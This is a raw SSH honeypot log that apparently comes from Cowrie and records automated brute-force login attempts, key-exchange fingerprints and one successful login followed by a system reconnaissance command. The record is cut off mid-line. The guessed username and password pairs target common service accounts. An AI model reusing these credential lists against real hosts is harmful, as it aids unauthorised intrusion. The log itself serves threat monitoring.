{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:20.119239Z","src_ip":"5.196.136.131","session":"0fe827fe6554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:20.359346Z","src_ip":"5.196.136.131","session":"0fe827fe6554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:21.441861Z","src_ip":"5.196.136.131","session":"0fe827fe6554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19584,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8983140face","protocol":"ssh","message":"New connection: 5.196.136.131:19584 (10.17.0.5:22) [session: c8983140face]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:24.530408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:24.534394Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:24.612244Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:24.849160Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:25.051710Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:25.054254Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:25.135693Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:25.139415Z","src_ip":"5.196.136.131","session":"c8983140face","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c960530e47b6","protocol":"ssh","message":"New connection: 193.37.70.224:44592 (10.17.0.5:22) [session: c960530e47b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:27.836932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:27.840549Z","src_ip":"193.37.70.224","session":"c960530e47b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:27.932504Z","src_ip":"193.37.70.224","session":"c960530e47b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a3d5g","message":"login attempt [root/1a3d5g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:28.210307Z","src_ip":"193.37.70.224","session":"c960530e47b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14782,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e503275572","protocol":"ssh","message":"New connection: 5.196.136.131:14782 (10.17.0.5:22) [session: 29e503275572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:28.861203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:28.876642Z","src_ip":"5.196.136.131","session":"29e503275572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:28.945220Z","src_ip":"5.196.136.131","session":"29e503275572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:29.265091Z","src_ip":"5.196.136.131","session":"29e503275572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:29.304981Z","src_ip":"193.37.70.224","session":"c960530e47b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:30.348949Z","src_ip":"5.196.136.131","session":"29e503275572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10737,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2223a0a267","protocol":"ssh","message":"New connection: 5.196.136.131:10737 (10.17.0.5:22) [session: 4e2223a0a267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:33.270034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:33.273899Z","src_ip":"5.196.136.131","session":"4e2223a0a267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:33.351153Z","src_ip":"5.196.136.131","session":"4e2223a0a267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:33.592638Z","src_ip":"5.196.136.131","session":"4e2223a0a267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:34.673674Z","src_ip":"5.196.136.131","session":"4e2223a0a267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54935,"dst_ip":"10.17.0.5","dst_port":22,"session":"a904719945f6","protocol":"ssh","message":"New connection: 5.196.136.131:54935 (10.17.0.5:22) [session: a904719945f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:37.728175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:37.731738Z","src_ip":"5.196.136.131","session":"a904719945f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:37.806781Z","src_ip":"5.196.136.131","session":"a904719945f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:38.034838Z","src_ip":"5.196.136.131","session":"a904719945f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:39.112847Z","src_ip":"5.196.136.131","session":"a904719945f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":53555,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3525d2b1d08","protocol":"ssh","message":"New connection: 5.196.136.131:53555 (10.17.0.5:22) [session: a3525d2b1d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:42.153322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:42.157110Z","src_ip":"5.196.136.131","session":"a3525d2b1d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:42.233217Z","src_ip":"5.196.136.131","session":"a3525d2b1d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:42.469540Z","src_ip":"5.196.136.131","session":"a3525d2b1d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:43.548530Z","src_ip":"5.196.136.131","session":"a3525d2b1d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":50740,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d0b2b679ba","protocol":"ssh","message":"New connection: 80.94.92.234:50740 (10.17.0.5:22) [session: d0d0b2b679ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:44.596467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:45.748473Z","src_ip":"80.94.92.234","session":"d0d0b2b679ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:45.751288Z","src_ip":"80.94.92.234","session":"d0d0b2b679ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cdcbeb99f39","protocol":"ssh","message":"New connection: 5.196.136.131:45550 (10.17.0.5:22) [session: 1cdcbeb99f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:46.493091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:46.496925Z","src_ip":"5.196.136.131","session":"1cdcbeb99f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.co